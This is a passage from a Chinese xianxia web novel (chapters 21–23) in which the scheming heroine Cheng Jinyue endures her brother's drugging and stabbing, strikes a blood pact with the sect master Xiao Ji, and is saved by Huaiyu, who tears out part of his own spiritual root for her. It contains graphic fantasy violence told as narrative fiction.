程今越安稳地坐在床上,开始让药效蔓延开来,媚药迅速蔓延在她的全身,她的脸庞迅速染上不正常的红晕,像一朵娇艳欲滴的花。 她皱着眉头,嘴角却笑着。 她对血的控制超乎所有人的想象,中毒?这种事情早已经不会发生了。 “砰”的一声,猛烈的一脚踢开了房屋的门,程望身后跟着几人,醉醺醺地走进屋内,一股酒气瞬间弥漫开来。 几人堵住了房门口,程望的目光迅速放在了程今越的身上,油腻的笑在他脸上浮现。 那是令人浑身不适的凝视,会让人全身浮起厌恶,放人恶心。 “那群废物呢?不是让他们这在看着人嘛,跑哪儿去了?” 程望迷迷糊糊地望着,随后将这个问题抛诸脑后,这不重要。 重要的是眼前的程今越。 她脸色潮红,半瘫在床上,浅浅地喘着气,一切都让他浑身兴奋。 身后的仆从知趣地退下,将门轻轻地带上。 屋内只剩下程今越与程望两人,他摇摇晃晃地走到程今越面前,还没有靠近程今越,便看到泪水从她泛红的眼睛里面涌出来,整张脸都挂上了泪痕,啜泣声在屋中响起,微弱地,可怜地。 可这样的哭泣声并不会让程望有任何的怜惜,他阴森森地笑了起来,深陷的眼眶眯起来,颧骨有些凸出,长了一张恶人像,“程今越,现在知道哭了?晚了!” “求求我呢,我说不定还会放过你呢。” 他一把抓住程今越的脸颊,将她从床上抓起来,泪水从她的脸上流到程望丑陋的手指上。 “哥哥,今越不知道有什么地方做错了,还请您放过今越吧,不要这样对我……” 她浑身颤抖着,啜泣声从她的喉咙中嘶哑传来。 “放过你?若不是你,孟朝那畜生能得到药?若不是你,我会受伤,会遭这么久的苦?” “程今越,你就该去死,你不应该活着,你的存在有什么意义吗?你永远是一个工具!” “如果我是你的话,我早就一剑把自己捅死了!” 程望一边说着,声音越来越大,尖锐的声音吵得程今越耳朵痛,她哭声也越来越大。 程望狠厉地扯住程今越的手,一把将她从床上拉起来,狠狠地摔到了地上,程今越的头狠狠地砸到了地上,她狠狠地吃痛叫出了声,泪水落到了地上。 但程望似乎还不解气,他猛地拿出一把刀,毫不犹豫地朝程今越的肩胛骨刺去,鲜血汩汩而流,熟悉的刺痛迅速蔓延她的全身,身上数不清的疼痛席卷而来。 程望根本就是想把她弄残。 可她传信的人还没到,还有一定的距离,她应该还要再挨上两刀。 疼痛让她的大脑更加清醒。 要动手吗?要逃吗?她带了许多符咒,随便催动一个,便能从这里逃脱。 程今越马上否决了这个决定。 那个修为高深的人就在她的周围,敌在暗她在明,一旦她催动术法,她身上长明族的气息便可能被对方感知到,这是致命的,相当于把自己的最后底牌亮了出来,随时都被别人捏着把柄,随时都会死。 现在还不到那个时候,还不到要去赌的时候。 不过是几刀而已,那又怎样呢?反正死不了。 只要死不了,她就永远有打翻身仗的机会。 一刀又一刀落在程今越的身上,每一刀都避开要害,只是单纯的折磨她。 温热的鲜血涌了出来,血将她浑身浸透,她的呼吸开始变得沉重,眼前程望还在疯狂地叫着,她眼角的泪缓缓地落着。 快到了,熟悉的气息已经到了。 一瞬间门被破开,那道身影快得让人看不清,那人一把抓住程望的右手,像是拔萝卜一样,只听见血肉的撕裂声。 “啊——!”凄厉地惨叫从程望的喉咙中发出。 “我的手,我的手!” 鲜血如泉涌般喷出,像一朵绚烂的花,开在柔美的月光之下。 程今越听见一声笑,便看到那只断手被他随意丢弃在地上,那双手握着的刀也随之落到地上。 程今越瞳孔猛然瞪大。 不是因为程望的手就这样被硬生生地拔了下来。 而是因为这个气息,正是来自遮挡怀钰的破魔铃的那个人! 破魔铃就在这个人的身上! 程今越猛地抬头,对上萧极那张书生一般的脸,脸上沾染了程望的血,带着微笑,毫无表情的黑眸盯着程今越,眸中带着一种诡异的澄澈。 他站得挺拔,还朝程今越微微作揖,教养和礼节从不忘记。 “还好吗,三小姐?”他的声音像晚间丛林中的风,极具辨识度。 他低着头,垂着眸子看着程今越,背却依旧挺直,分不清是在关怀还是在看圈养的动物。 像摇曳温暖的海,伸手进去却是一片凉薄。 程今越扯起脸上的笑。 她身上全是被捅的血洞,狰狞可怖,看不见吗? 你装什么呢装,好笑。 还没等程今越说话,程望发疯地捡起地上的断肢,身上的血在汩汩落下,他一边发疯似的尖叫,一边朝萧极猛地冲过去,浑身带着狠劲。 而萧极躲都不躲,站在原地一笑,将食指与中指闭合,放在唇边,轻轻地开口,“破。” 一瞬之间,程望身上猛地炸开一道白光,巨大的力量将他炸到墙上,身后的墙体也承受不住剧烈的碰撞,一瞬之间坍塌,屋外的月光大片地撒了进来。 巨大的声音响起,立马吸引了远处的人,但此刻剑宗内还在水深火热之中,魔物与刺客的双重压力之下,并没有吸引过来多少人。 “嗯?竟然是程望公子吗?”萧极眼中露出澄澈的疑惑,嘴角的笑却不减,他远远地看着断了右手浑身是血的程望。 被吸引的人已经逐渐靠来了,跟随而来的还有一个熟悉的面孔。 孟朝。 孟朝喘着粗气,在看到程今越的第一刻,他便心脏停了一拍,他发了疯地奔到程今越的身边,连忙为他施加疗伤的术法。 刺眼的伤口跃入他的眼帘,他心惊肉跳,鼻间瞬间酸了起来,泪水快要涌上他的眼眶中,却被他硬生生地憋了回去。 距离他收到程今越的信,连半刻都不到…… 孟朝一边施着术法,心好像被狠狠撕裂开了一般,他的手都在颤抖。 三小姐从来都是这么善良和温柔,连见了血都会哭的人,如今却遭受这样的苦。 是谁……到底是谁? 孟朝抬起头,张望着四周,将周围的人挨个扫视了一遍。 萧极毫不避讳地对上孟朝的眼睛,眼皮都没有抬,他看着孟朝着急的模样,嘴角缓缓抬起。 “我路过此地,看到有人在对今越小姐惨下毒手,我还以为是刺客,便立马相助。” “没想到……居然是程望公子。” 萧极摇头叹着气,神色却没有一丝悲伤的意思,他挑着眉毛,脸上似笑非笑,他的情绪从来都不写在脸上,没有人知道他在想什么。 程望,程望,又是程望! 孟朝不能停下手中的疗伤,心中的怒火燃烧着,他瞪着躺在地上悄无声息的程望,又静下心来给程今越疗伤。 脸上的脸快要忍不住,他死死地控制住表情,不让眼泪落下来。 程今越脸色苍白,滚滚地法力涌入她的体内,疼痛大大减轻,媚药还在她的身上发作着,她喘着气,身上又热又冷。 她脸上依旧虚弱地笑着,她瞥了一眼萧极。 心中不禁觉得更好笑。 萧极从程望进来之前就已经在外面站着了,他看着程望将刀一下一下刺进她的身体里,那时的他脸上会是什么表情呢? 欣赏,冷漠,无动于衷? 仿佛只是在看一场普通的戏剧,带血的戏份或许才会引起他一点的兴趣,才会将他的头缓缓抬起来。 痛苦和挣扎就是这场戏最大的看点。 如今戏已经落幕,萧极却还没走,他饶有兴致地走到程今越面前,看着她潮红的脸。 “今越小姐看起来不是很好受呢。” 程今越眼中的泪又无声地流淌着,脆弱地如一朵快要凋谢的花。 “萧公子,我家小姐重伤在身,还请你回避!”孟朝站起身,不带好气地看着萧极。 萧极虽是一张书生脸,但身材匀称,线条流畅,带着力量感,清淡中带着狠辣。 但孟朝更加壮实,体型比萧极更为大,他的肌肉因血液滚烫而充血,彰显原始的烈味。 孟朝挡在程今越身前,硕大的身体将萧极完全挡住,他冷冷地看着对方,将“拒绝”两个字写在了脸上。 萧极没有一点退的意思,他懒散地偏了偏头,黑眸微微眯起,深不见底,但又带着笑意。 “三小姐,你的狗可真听话。” 程今越躲开萧极的目光,侧过脸,露出白嫩的脖子,泪水汩汩而流,哭声渐大,“萧公子,请您不要再折辱今越了。” 看着程今越这幅模样,萧极脸上的笑更是深了起来,他喜欢看这样的人哭,他喜欢感受痛苦与悲伤,这样能让他在无味的生活中体验到一丝乐趣。 并不是因为是程今越这个人,而是因为她的身份,一个凡人称为“大衍神女”的善良女人,一个被亲哥哥虐待也不会还手的女人,大衍剑宗尊贵的三小姐,出身于凡间。 她的善与忍耐都进入了一个很扭曲的地步。 萧极想知道她的极限在哪里。 萧极觉得浑身有欲望在涌动,那是来自动物本身的好奇心。 他想看程今越更痛苦的哭泣,因为他觉得这个哭,好像还没有耗费够她程今越所有的痛苦。 他开始有些后悔,或许应该让程望把程今越四肢都砍断的时候再出手,那样她哭得会不会更惨烈一点呢? “请您,离开。”孟朝看着他脸上的笑,心中涌起一阵恶心,他拔出腰间的剑,杀气毫不收敛。 如果萧极要做什么的话,他会毫不犹豫地和他拼命,反正他只为三小姐而活。 “听不懂吗!” 他大声地吼着,程今越的哭声与她浑身的鲜血让他浑身的血液都在奔涌着,愤怒与悲伤逐渐让他开始失去理智。 萧极是没有同情心吗?但凡是一个正常的人都不会站在这里看笑话一样地看着一个浑身是伤,还中毒的女人。 孟朝利落地抬起剑,指向萧极,怒目圆瞪。 四周的空气一片凝滞,周围的人都不敢有动作。 一个是大衍剑宗的剑道第一人,一个人无定界的界主,没有一个人是好惹的。 萧极突然笑出了声,打破了这片寂静,他的笑声带着一些冷静的疯狂。 他慢悠悠地将脖子上的剑轻轻拨开。 “孟公子好着急啊。” “既然如此,萧某便不加叨扰了。” 他点点头,好像明白了什么,深沉的眸完全不眨眼,直直地看着程今越。 “日后定来好好拜访今越小姐,教教萧某,是如何训得这样一条好狗。” 一瞬间,萧极消失在眼前。 空中紧张地压迫感永远消失,在场的人终于得以呼吸。 孟朝看着浑身是血的程今越,犹豫了片刻,最后下定决心,将程今越打横抱起,“三小姐,孟朝失礼了。” 他靠着强大的身体,从人群里冲出去,“滚开!” 程今越虚弱地缩在孟朝的怀里,摇了摇头,呜咽声断断续续,浑身滚烫,“孟公子,若是没有你,今越真不知如何是好……” “可以撤了,怀钰。”程今越用神识给怀钰送去消息。 “没事的三小姐,都怪我来得太晚了,都怪我,如果我再来早一点,三小姐又怎么会这样……”孟朝的声音颤抖着,泪水快要涌出。 程今越摇了摇头,“不怪你,孟公子,别这样自责,今越只会更难过。” 程今越缓缓用血液溶解着体内的媚药,呼吸之间,她浑身的药便彻底消失。 她完全赌赢了,破魔铃就在萧极的身上,但萧极的修为几乎是世间第一等,她要如何在他的身上拿到破魔铃? 这无疑是在刀尖上行走,虎口拔牙。 “孟公子,外面这么吵,是出现什么事了吗?”她问。 “是,三小姐,涌入了一大批刺客与魔种,但是小姐不必担忧,孟朝会一直保护三小姐的。” “岂不是有许多人受伤?”程今越压着喉咙问。 “是……”孟朝犹豫着回答。 他本是在斩杀魔物与刺客,接受到程今越消息的一瞬间,他便以最快的速度奔来,一路上血流成河。 程今越听完,心中的猜测已经明了。 刀尖行走又如何? 还会被她现在的处境更差吗? 如果她没把握好,魔种会杀了她,大衍剑宗的人也会杀了她,以她的实力,根本逃不出这群人的手掌心。 她需要挑起内乱,她需要一双更强大的手替她掀翻眼前所有的枷锁。 反正都是死,那为什么不去赌? 她大脑飞速地转着。 萧极是怎么知道她在这里的? 她碰到了谁? 除了怀钰的人,就只有那群刺客。 萧极出现在这里做什么?但肯定不是单单来看笑话。 四周刺客横行,程望却毫不慌张,是因为他认为危险不会落到他的头上,有一群弟子给他兜底,那群人死了就死了。 萧极不慌不忙是因为什么?他实力本就强大,根本不需要在乎这点? 但他现在最应该做的事情就是去斩除魔物,魔物经此一战胜利后变得强大,对他有什么好处? 除非他根本就不想去做。 程今越现在知道她现在应该去做什么了。 一切都是赌,她是个赌徒,赌赢了赢家通吃,赌输了化为灰烬。 “如今这么多人受伤,孟朝公子,你不要再管我了,你先去救弟子们吧!” 她面露担忧之色,泪止不住地往下落。 “不行。三小姐伤得如此严重,我怎么能这样做!那些人哪里有三小姐重要!”孟朝急不可耐,一直往司医宫赶。 “孟朝!”程今越叫住孟朝,带着不容置疑。 孟朝知道自己说错了什么,三小姐从来都是把那群人看得比她命还重,从来都是这样善良,这样温柔。 三小姐又怎么见得他们受伤呢? 孟朝本来不想给程今越说这些,打算一直瞒着她,但偏偏程今越问了起来,他做不到对三小姐说谎。 三小姐最讨厌别人对他说谎,他一直都知道。 孟朝没管程今越的话,硬生生把她送到了司医宫,这是他能做出的最大让步,他起码要保证三小姐的安全。 那些人怎么比得过三小姐? 孟朝连忙将一群人全部吩咐安排好,将药放在程今越面前,他动作很快,因为他看不得程今越那一双泛红的眼睛。 程今越拉住他的手,“孟朝,你别管我了,你赶快去帮他们吧……” 她抬眸望着孟朝,脸上是抹不干的泪水,两眼盈盈。 四周一片喧闹,所有人都匆匆忙忙的,呼吸声与疼痛声不断传来,灯火忽明忽暗。 孟朝头上的青筋暴起,整张脸紧绷着,他瞥了程今越一眼,又心疼地别看眼眸。 “好,我去,我去。” 孟朝心中有浪在翻涌,他根本就不想去救其*他人,可这是三小姐给他下达的任务。 为什么世上总是好人没好报呢?为什么恶人总是好好的活着,像程望那样,为什么善人总是浑身伤痕呢,像三小姐这样。 孟朝讨厌这个世道。 “三小姐,你哪里都不要去,你就在这呆着,他们会保护你的。”孟朝又往程今越手里塞了信珠。 “有什么事情立马掐碎它,无论是刀山火海我都会赶来救三小姐的!” 程今越握住信珠,点了点头,看着孟朝一步三回头地离开。 “今越小姐,我为您上药。”一个婢女走到程今越身前,拿起身旁药,低头朝程今越走来。 屋内寂静,显得外面格外喧闹。 “好,你过来吧。”程今越停了哭泣,她看着眼前的婢女。 婢女端着药朝程今越走去,走到程今越身前,突然,剧烈的疼痛从她脖子上传来。 她抬眸看着程今越,瞳孔瞪大。 她看见程今越的手捅穿了她的脖颈,抓住了她的灵根,一道猛烈的力道,她便感觉自己浑身的力量被剥离。 随后她失去意识,看到自己的手开始融化,变成一滩血水,后变成灰烬,从此消失在这世间之中,连尸体都找不到。 * 程今越一把端起桌上的药,一饮而尽。一瞬间消失在屋内。 她张开手,感知如蛛网一般散布开,嘴角不停地流着血,自己的和别人的混杂在了一起。 找到萧极了,只要在她的手上留下了气息,这辈子都别想逃离她的感知。 她冷冷一笑,飞快地朝萧极方向奔去,她用了一个符咒,落地又找了一群人补充了一下状态,她觉得自己浑身的肉都在瘙痒地长着,浑身的灵力也开始充沛起来。 她刚落地,用了一个隐身咒,将浑身的气息掩盖起来,就算是萧极怕是也难以找到他。 花那么多时间陪伴程蕴知的好处终于体现出来了。 虽然她曾一度怀疑是不是选择错误,但事实证明一切的经历都会有用的,只不过是早晚的问题。 可她还没有站稳,便感受到猛烈的法术冲击,力量格外强大,几乎要将周围所有的树木掀翻。 她甚至站在外围,根本没有过多靠近,这样的修为就足以将她打伤。 除了萧极,又有谁这么强? 每次遇到这样的时刻,程今越的心中便有无限的怒火,像是有一团气压着她的五脏六腑。 她太弱了,太弱了!她弱得甚至没有资格去谈判。 在人间的时候,这样的体会还并不强烈,但来到大衍剑宗之后,她几乎已经受不了这样了。 无尽的欲望要将她吞噬。 程今越要换上新的灵根,她要拥有全天下最好的灵根,她要赢,她要赢! 她抬眸看清战局,只见萧极眼前站了一个人,她看清了,是祝祁。 他们出招格外地快,祝祁头上冒着冷汗,萧极却笑眼盈盈地站在原地,低头看着祝祁,像在看一具尸体。 萧极招招狠辣,全是杀招,一剑一剑刺在祝祁身上。 身旁还有一群黑衣人在和祝祁的贴身侍卫过着招,可明显不是一个水平,不过是几招,对方便倒在了地上。 场上法术缭乱,她根本看不清,巨大的余波快要把她身上蓄的盾打破了。 祝祁在说着什么,但是房屋倒塌与刀剑相接的声音太大了,她根本听不清。 不过她的确猜对了一点,这些刺客就是萧极的人。 否则换其他人来,也不会轻易破开大衍剑宗的结界。 他为什么要杀祝祁,无定界与青岩山不是一向友好和睦吗? 程今越还躲在石头后面思考着,只见一群黑衣人已经将祝祁团团围住,他必死无疑。 程今越还在思考着该拿什么底牌去和萧极做交换,可计划总是赶不上变化。 祝祁浑身是血,用剑撑着身体,萧极毫不犹豫,甚至没有给他说遗言的机会,一剑朝他刺了过去。 可就在此刻,祝祁瞬间消失不见了,突破了无定界所有高手的包围,从萧极的手中溜了。 萧极也显得有些意外,他眼眸微张,脸上的笑意更浓。 他倒是没想到祝祁身上还有这样的底牌,竟然在悄无声息中就启动了术法,在他的眼皮子底下跑了。 不过萧极也没有过多的意外,他从不自傲,从来对对手保持尊重。 他轻轻抬手,白光从他手中冒出,格外刺眼,甚至要照亮这一块夜空,一片结界在无声中形成,不知不觉,无人知晓。 但他却轻轻皱眉,祝祁居然一瞬之间跑出了大衍剑宗,真是好厉害的底牌。 他轻笑了起来,突兀的笑在夜空之中响起。 “他在玉峰山。”一道轻柔的女声在空中响起。 所有人都这道声音吸引过去。 程今越站在一群黑压压的人面前,一头长发在股间飘逸,耳间的红珠子衬得她脸色格外苍白,她双手交叠,安静地放在身前,脸上带着笑,干净的白裙在夜中格外引人注目。 萧极却毫不感到意外,他摊开手,给周围人下了一个手势,吩咐他们去找。 那领头的人显得有些踌躇,“界主,她不过一个废物,我们要听她……” 话还没有说完,那人瞬间痛苦地尖叫起来,在众目睽睽下化成了一滩肉泥。 周遭的人愣了一下,连忙朝玉峰山的方向走去。 仅仅是呼吸的一瞬间,一道黑影闪到程今越的面前,巨大的力气扼住了她的喉咙,她被猛烈地推到了墙上,发出“砰”的巨大声响。 如果没有盾护体,程今越现在的骨头已经全部断掉了。 萧极眼睛笑着,温柔中透露着冷,若是单看他的表情,还以为他保持着距离,带着礼数朝程今越笑。 偏偏他一双修长如玉的手如刀子一般掐住程今越的脖子,但他还是隔得很远,将手伸得很直。 这是完全不同于怀钰的感觉。 如果是怀钰的话,程今越完全能够猜到怀钰在想什么,他喜形于色,表情更疯癫,眼眸瞪大,身上或是还要带着浓烈的血腥气,是一条完全的疯狗。 而萧极则完全不同,他的脸上从来都是那一张不变的笑脸,像是一张面具焊在了他的脸上,他的眼睛深沉如湖水,根本无法看透他的情绪,与他温润的五官格外割裂。 “想要怎么死?我会满足你的。” 萧极缓缓地说着,像是在讲着诗歌典籍。 他突然起了兴致,不想这么快杀掉程今越,他的人生本来已经很无趣了,他喜欢找一些乐子。 在武力上,没有任何人能够与他匹敌,所以他更愿意慢慢去找一些好玩的东西。 嗯……比如眼前的这个,很会装的神女。 程今越脸色通红,萧极突然松了手,她喘着气站在地上。 她心跳得极快,但却跟着萧极笑起来。 她一边咳嗽,一边保持着体态,站直着,仰头看着萧极。 如今她说的每一句话都至关重要,但凡说错一句,她就要死。 紧张的感觉开始蔓延到她的全身,可给她带来更多的却是兴奋,这是一种无以言表的感觉,她喜欢在刀尖上跳舞的感觉,让她身心愉悦。 “我能帮你,萧公子。” “我比他们都有用。” 她笑着,擦掉嘴角溢出的血。 萧极却轻笑起来,像是嘲讽,他轻轻挑起眉,低头看着程今越。 “萧公子,不想死,我和你们都不同,我的愿望就是活下去。” “我用大衍剑宗的覆灭,与璇玑楼内的所有珍宝,换我一条命,换我活下去,换我一个自由。” 程今越眸中毫无畏惧,她抬起眼眸,直视着萧极,向来低垂的眸此刻却扬起,风吹拂着她的长发。 萧极没有开口,他看着程今越,像是在打量一个物件,他捏住程今越的下颌。 他紧闭着薄薄的唇,嘴角的笑似有似无,只要他不开口,便如深水一般,好像要将人窒息。 “如果我说不呢?”他说,萧极低头笑着。 巨大的威压施加到程今越的身上,她感觉到自己的五脏六腑都在出血。 她感觉自己已经无法呼吸,痛苦席卷全身。 他仔细地看着程今越的眼睛,他想读出一点恐惧的感情。 可惜他失败了。 痛苦对程今越来说已经麻木。 “那就证明我赌输了,输家自然该死。” 她脸上带着无所谓的笑,好像说出来的只是讨论平时应该吃什么的话一样。 萧极眼上依旧没有什么表情,他那双眼眸十分让人恐惧,像是一个沼泽,随时会将别人吞噬。 只是一眼,便能洞穿人心。 但别人却看不懂他在想什么。 “界主,已经处理干净了。”先前消失的黑衣人重新回到程今越的身边,看向她的眼光已经完全不一般。 程今越的心跳得格外快,死亡随时会落到她身上,她缓缓地呼吸着,等待着萧极的回答。 萧极在这世间已经活了很多年,他见过许多的人,看到过许多眼睛。 迷惘的,疯狂的,堕落的,轻挑的,纯净的,锋芒毕露的,漫不经心的,他喜欢通过这些眼睛去观察一个人的命运,最后的结果也大多和他想的差不多。 但程今越的眼睛很特殊,是他见过最独特的一双。 为什么? 因为她的眼睛是虚假的,上面盖着一层面具。 她是个骗子,她从上到下都是假的,她穿了一身皮,从眼睛到嘴巴,到那一颗滚烫跳动着的心,全是假的。 萧极顿时想到了孟朝,这是她手下的一条狗。 他已然料到,程今越的手中不知道有多少这样的狗,有多少人被她骗了,有多少人在她的手中丢了性命。 这实在是令人好奇。 萧极甚至觉得,一定有人知道程今越是个骗子的情况下,还甘愿被她骗。 太好笑了。 “我的愿望是活着。” 这种话也会有人相信吗? 起码萧极不会。 程今越明明都要死了,她却还是逞强地站着,这样的疼痛,换作其他人,现在已经跪倒在萧极身前了,更有甚者已经死了。 而程今越呢? 跟一个凡人又有什么区别呢? 她的愿望就那么强烈,足够她忍受这样的疼痛? 程今越看着萧极,眼眸中闪烁着光。 第22章 他想撕开程今越的皮,看看里面的血肉。 萧极思索着,他将手托在下巴上,打量着程今越。 夜晚的风吹得人格外冷,同萧极给人的感觉一般。尽管他生了一张儒雅的美人脸,却浑身上下透露着高高在上与不近人情,像一个非人的怪物。 他只需要略略出手,就能瞬间掐死程今越。 所有人都在等他的动作,四周一片寂静。 他看着程今越,薄唇轻轻开合,带着笑,缓缓地发出一个音。 “好。” 他收了威压,他愿意给程今越一个机会。 不是因为程今越有多让人好奇,首要的原因是因为程今越提供的价值足够让她活下去。 没有程今越,今晚的祝祁或许还真的让他逃了,届时后果不堪设想。 并且大衍剑宗底蕴丰富,璇玑楼中的珍宝,他的确想要。 但璇玑楼只能由剑宗的嫡亲血脉打开,并且还有许多繁杂的规则,他也懒得去找了,这件事交给程今越来说,刚刚好。 到时候再把程今越杀了,倒也不错。 程今越发现他违背誓约的时候,会露出什么样的表情呢? 又或者说,程今越会怎么骗他呢? 她又有什么秘密呢?她又是怎么知道祝祁的位置的呢? 好奇心会害死人。 可是他就喜欢冒险。 这是一种最纯粹的欲望。 萧极想拿一把刀,一点点割在程今越的身上,将她面上的那一张皮撕下来,看看皮下的血肉到底是什么模样,和她面上的这张皮又有多大的差别呢? 萧极取出了自己的一滴血,放到了程今越的手中。 程今越也将自己的血与其融合,一道血契就此形成。 程今越顿时松了一口气,被压迫的心脏重新回归了猛烈地跳动,血液流动的感觉竟然让人格外怀念。 “合作愉快,萧公子,我不会让你失望的。” 声音消失的时候,萧极与他周围的人已经不在眼前。 程今越一口血从喉咙中涌出,瞬间跪倒在地上,鲜血染红她的衣裙,风吹在她的身上。 她的意识已经快要消散了,在她晕倒前的一刻,她催动了神识,呼唤了那个人。 仅仅是闭上眼的后一秒,熟悉的气息出现在她身前。 怀钰收到程今越神识消息的时候,脸上带着笑,今日让他好生开心,他有好多趣事儿可以和程今越分享,但在看到程今越的一瞬间,他的笑意停滞在嘴边,像是戛然而止的歌。 “程今越?” “我就不在一会儿,你怎么把自己整成这样了!” 他朝程今越身上灌输着法力,为程今越疗伤,可程今越如今跟个漏斗一样,根本留不住他的法力。 怀钰瞬间慌了。 他将程今越抱在怀中,回到了她以前的宫中,宫中灯都没点,一片寂静。 怀钰将程今越放在床上,他不断尝试着输送法力。 他眼睁睁看着灵力从程今越的胸口进入,却根本留不在体内,灵气又消失在空中,什么都没有。 他大脑一片茫然,他突然意识到,程今越几乎浑身都是伤,或者说她的伤从来就没有好过,她每七日要给程蕴知用血做药,又紧接着要用血给他自己解封印。 他还意识到一个事情——程今越要死了。 怀钰一直都对死亡没有什么概念,他见过的死人以及死在他手里的人,数不胜数,他根本不在乎。 但是怀钰感受到程今越死亡气息的时候,他感到心很痛,他觉得心口好像被什么东西挖了一口。 他不想程今越死。 如果程今越死了,又有谁来爱他? 他好不容易才有了一个同伴。 或许是…… 其实他自己好像不是很确定。 “你是蠢货吗,程今越?” “我不是说了吗,我不是说了吗……我让你一有事就呼唤我,你连这个都不会吗?” “你快要死了,你才来叫我,你真的有病!” “你这种蠢货真的赶紧去死吧,我真的不懂,我明明都给你说了,我明明我明明!” 程今越要死了,怎么救她? 谁伤的她……谁伤的她,程今越就算是死,也只能死在他的手下! 他一定会把伤程今越的人全杀了…… 不会放过你们所有人的…… 不对,现在不应想这个,要先救程今越,救她,救她…… 怀钰突然脑中一片混乱,思绪纷飞,最后他猛然想起来了程今越说过的话。 她是长明族的人,天生灵根羸弱,而如今她的灵根又被人所损,更加不能吸收灵力。 所以他要么把程今越的灵根换掉,要么修补与加固程今越的灵根。 怀钰曾捣毁过一个小仙门的藏宝阁,阁中有书籍无数,他那时在世间游荡,本就无聊,顺便就把这些古籍全部看了一遍,他过目不忘,现在还能回忆起内容。 最好的办法是给程今越换一个灵根,但是更换灵根需要精挑细选,进行匹配,若是灵根不匹配是无法进行更换的,并且只能由本人进行感知,他无法干预,这个办法定然是行不通的。 所以他现在只能选择修补与加固程今越的灵根。 如果要加固一个人的灵根,必须要用另一个人的灵根的一部分。 对常人来说,灵根遭到损害,另一个人要么死掉,要么再也无法使用法力,从此变为一个凡人。 但偏偏怀钰不一样,怀钰的全身血肉都可以再生,他好像杀不死。 怀钰想都没想,用手指割破了自己的后颈,撕开了一个大口子,他用手伸进了伤口之中,在自己的脊椎之中寻找着自己的灵根,鲜血从他的背后滚滚流下,手掌的起伏撑开了后背的皮,像是有怪物要从里面钻出来,但他好像对这样的疼痛并没有任何的感觉。 这是他第一次摸灵根,到还有些新奇,血肉的滑腻声在他的搅和中传出,最后他摸到了自己的灵根,用手狠狠掰断一截,巨大的疼痛从深处传来,最后他从血肉之中拿出了那截泛着光的灵根,怀钰脸上露出牙齿,兴奋一笑。 “程今越,有我在,你还想死?” 他连忙将程今越扶起来,将自己那截染着血的灵根喂到程今越的口中。他手中除了灵根,还混杂着其他的血肉,他也不管,统统喂了进去,随后怀钰施加法术,将灵根融入程今越的灵根之中。 这让他想起了以前在人间里面读的话本,男主人公受伤后,女主人公为对方煎药,再一口一口亲手喂给对方,最后两人的关系迅速升温,不一会儿就在一起了。 他记得,里面写的一个词语形容这个场景,叫“温馨”。 他如今对这个词终于有了实质性的理解。 他和程今越现在,也太温馨了。 或许这就是程今越经常告诉他的,同伴之间应该做的事情。 程今越灵根中的缝隙瞬间愈合,怀钰又连忙给她的身上输送灵力,这下程今越的身体就能吸收灵力了。 程今越的气息逐渐平稳,怀钰仰天大笑起来,他从来没有觉得自己这么聪明过。 怀钰将程今越拦腰抱起,一瞬间回到了天极宫,偌大的宫殿中空无一人,冰冷又安静。 他将程今越放在床上,将被子盖在程今越身上,每个角都捻好,不让一丝冷风穿梭进来。 屋内没有一丝光亮,但怀钰的眼睛可以看清一切,特别是程今越苍白的脸,在深夜中格外显眼。 怀钰站在程今越的床前,看着程今越熟悉的脸。 屋内十分安静,但是外界却十分喧闹,天极宫的人还按照程蕴知的吩咐寻找着程今越。 只有他知道程今越在哪儿,只有他。 只有他可以在这里看着程今越。 程今越的后背,只有他怀钰一个人。 他的身后,也只有程今越一个人。 怀钰脸上又带上了笑脸,内心有一种奇怪的满足欲。 心中好像被什么暖暖的东西填满了,这甚至能超过杀人的快感,甚至让他不是那么想要杀戮了。 他觉得程今越是个蠢货,但他也觉得自己要被程今越同化了,也要变成一个蠢货了。 他根本就不需要救程今越,死了就死了,烦死了。 以后他不会再救程今越了,他发誓。 外面很喧闹,但冰冷冷的屋子里只有程今越和怀钰两个人。 而现在并不冰冷了,怀钰浑身都很热,他靠在床边,热度不断传递着。 怀钰开始思考,到底是谁伤的程今越? 他走后就是程望来过,会是程望伤的吗? 之后又是谁来过呢? 怀钰头疼,他不是很擅长去思考这些,他已经放弃了思考,等程今越醒了听她指挥就好。 有什么好思考了,全杀了就行,懒得管那么多。 大衍剑宗今日死了那么多人,损伤格外的大,他已经有十足的把握把程今越的仇人全杀了,不出意外也能无伤带着程今越跑出去。 就这两天吧,找个机会把这群人全杀了! 他看着程今越小巧的脸庞,纤细的柳叶眉,薄薄的唇,白色的耳垂,带着鲜红的耳坠——他亲手做的。 他越看越近,好像要看清程今越的毛孔,一点点迫近,他沉重的呼吸开始打在程今越的脸上。 他近乎是跪趴在程今越的床边,以格外诡异的姿势看着程今越。 程今越的脸是什么感觉? 他突然产生了这样疑问。 怀钰靠近程今越的脸,轻轻地,无意识地,好奇地,像一只疑惑的小狗,他的唇轻轻碰在了程今越的脸上。 好像是碰到了火焰一般,他浑身被烫了一下。 他碰得很快,只是触碰到了一下,他就迅速别开,他的目光躲闪着。 柔软的,冰冷的,带着香味的,好像能感受到程今越看着他的温柔的眼神。 程今越的身上好冷,他是不是应该做些什么? 第23章 小狗明白了幸福的含义。 他犹豫着,他掀开了程今越被子的一角,但突然发觉自己的身上全是血。 他还发现自己脖颈后还凉飕飕的,好像是刚才剖开的伤口忘了愈合,血还在悄悄地流在地上。 怀钰迅速将身上和地上的血都处理干净,将身上的衣裳换了一身新的,是跟程今越身上香味一样的衣裳。 他低头看了看,又嗅了嗅自己身上的味道,将自己的头发理顺了一些,学着程今越为他梳理头发时的那样。 最后他缓缓掀开一角被子,蹑手蹑脚地从那一角里缩进去。 被子里面格外寒冷,像是铁做的一样,不过他的体温迅速将被窝温暖起来。 怀钰觉得自己真聪明,这样程今越就不会冷着了。 怀钰心颤抖着,将两人裹在被窝里面,他浑身滚烫的体温让被窝一瞬间变暖,他觉得好热,从头到尾。 程今越离他离得好近,怀钰能听到自己的心跳,听到程今越缓缓的呼吸声,听到她的心跳在自己的耳畔环绕。 他犹犹豫豫地伸出手,摸住程今越的手,格外冰冷。 他意识到,程今越的身体一直都不是很好,所以总是浑身发凉。 他握紧程今越的手,将体温传递在程今越的身上,他看到程今越苍白的脸逐渐泛起红晕。 怀钰安静地享受着温暖,嘴角忍不住地上扬。 他觉得自己很奇怪,他以前看话本的时候,看到主人公躺在一张床睡觉,他满头疑惑,不懂有何滋味,他从未有过这样的经历,无法对此感同身受,只觉得这群凡人真蠢,居然会为了这样的小事而开心。 怀钰觉得自己变蠢了,好像也变弱了,因为他好像有些喜欢和程今越待在一起,说不清道不明,只觉得他的心好像软软的,像是被棉花塞满了,暖暖的。 难道说,这个就叫作幸福吗? 